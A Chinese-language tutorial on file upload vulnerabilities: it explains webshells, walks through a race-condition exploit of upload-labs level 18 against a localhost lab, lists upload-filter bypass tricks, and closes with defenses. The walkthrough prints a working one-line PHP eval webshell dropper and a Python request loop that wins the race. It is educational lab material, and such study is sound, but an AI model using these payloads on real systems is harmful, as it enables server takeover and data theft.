一,什么是文件上传漏洞
文件上传漏洞是指网站或应用程序中存在的一种安全漏洞,攻击者可以利用该漏洞向服务器上传恶意文件。通过文件上传漏洞,攻击者可以上传包含恶意代码的文件,如Web shell、恶意脚本、恶意软件等,从而获取服务器的控制权或执行恶意操作。这可能导致服务器被入侵、敏感数据泄露、服务拒绝等安全问题。通常,攻击者利用文件上传漏洞来执行远程代码,控制服务器或网站,进而实施更广泛的攻击。
危害:
- 挂接黑链;
- 挖矿;
- 文件数据泄露;
二,Webshell
Web shell是一种恶意代码,通常是一段服务器端脚本,可以被黑客上传到受攻击的Web服务器上。一旦成功上传并执行,Web shell可以提供黑客与服务器之间的交互式命令行界面,使黑客能够执行各种操作,如文件操作、系统命令执行、数据库操作等。
Web shell的功能包括但不限于以下几点:
- 文件管理:可以查看、上传、下载、编辑服务器上的文件。
- 系统命令执行:可以执行系统命令,如查看系统信息、执行Shell命令等。
- 数据库操作:可以连接数据库并执行数据库操作。
- 网站操作:可以修改网站文件、植入恶意代码、篡改网页等。
- 信息收集:可以获取服务器信息、用户信息、敏感数据等。
Web shell通常被黑客用于获取服务器控制权、窃取敏感信息、传播恶意软件等恶意活动。防范Web shell的方法包括对服务器进行定期安全审计、限制文件上传类型、加强访问控制、定期更新系统和应用程序等。及时发现并清除Web shell对于维护服务器安全至关重要。
webshell主要分为以下三类;
一句话木马(主要特点);
- 代码短,一般只有一行代码
- 场景多,可以单独生成文件,也可以插入到图片中
- 安全性高,隐匿性强,可变形免杀
小马;
- 体积小,功能少。只有文件上传功能
大马;
- 体积大,功能全。能够管理数据库、文件管理、 对站点进行快速的信息收集,甚至能够提权
三,文件上传靶场(upload-labs)
这里以upload-labs的18关为例;
首先查看源码;
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
发现这一关是首先将文件上传到后端服务器;然后再使用rname(),修改名称;再删除文件;
<?php
fputs(fopen('huan.php','w'),'<?php @eval($_POST["huan"])?>');
?>
首先使用burp抓包;
使用intruder模块不断发起请求(不设置payload),
怎加并发线程数;
然后编写python脚本,使其不断访问nbshell.php,使其产生新的文件huan.php
python脚本;
import requests
url = "http://localhost/upload-labs/upload/nbshell.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("ok")
break
首先运行burp,发起请求,再运行python脚本;
然后观察到python运行成功;
查看上传的文件,发现存在huan.php;说明上传成功;
然后使用中国蚁剑尝试连接;
可以看到连接成功;然后添加数据进行访问(这样就可以通关);
(这里仅仅对18关进行演示)
四,文件上传漏洞的利用
1,找到文件上传的位置,通过提供的上传文件的接口(不一定);
2,尝试绕过,成功上传文件;
常见的绕过方式;
- 删除/禁用前端JavaScript;
- 抓包修改;
- 等价扩展名;
- 大小写绕过;
- 双写;
- 截断(%00);
- 图片马的绕过;
3,获得文件的位置;
4,使用蚁剑进行连接;
五,文件上传的防御
文件上传漏洞是一种常见的Web应用程序安全问题,攻击者可以利用这种漏洞上传恶意文件到服务器,从而执行恶意代码或篡改数据。以下是一些防御文件上传漏洞的方法:
1. 文件类型检查:在上传文件时,验证文件的类型和扩展名,只允许上传安全的文件类型,如图片、文档等。可以通过检查文件的MIME类型或文件扩展名来进行验证。
2. 文件大小限制:限制上传文件的大小,避免上传过大的文件导致服务器资源耗尽。可以设置最大文件大小的限制,超过限制的文件将被拒绝上传。
3. 文件名检查(扩展名):对上传的文件名进行检查,避免使用特殊字符或恶意代码。可以对文件名进行过滤或重命名,确保文件名安全。
4. 文件内容检查:对上传的文件内容进行检查,确保文件不包含恶意代码或脚本。可以使用文件扫描工具对上传的文件进行检测,以识别潜在的恶意代码。
5. 存储路径隔离(不要暴露上传的路径):将上传的文件存储在独立的目录中,避免上传文件直接存储在Web根目录下。这样可以防止恶意文件被直接执行或访问。
6. 文件权限设置:设置上传文件的权限,确保只有必要的用户可以访问上传的文件。避免设置过于宽松的文件权限,以防止恶意用户访问或执行上传的文件。
通过以上方法结合使用,可以有效防御文件上传漏洞,保护Web应用程序的安全。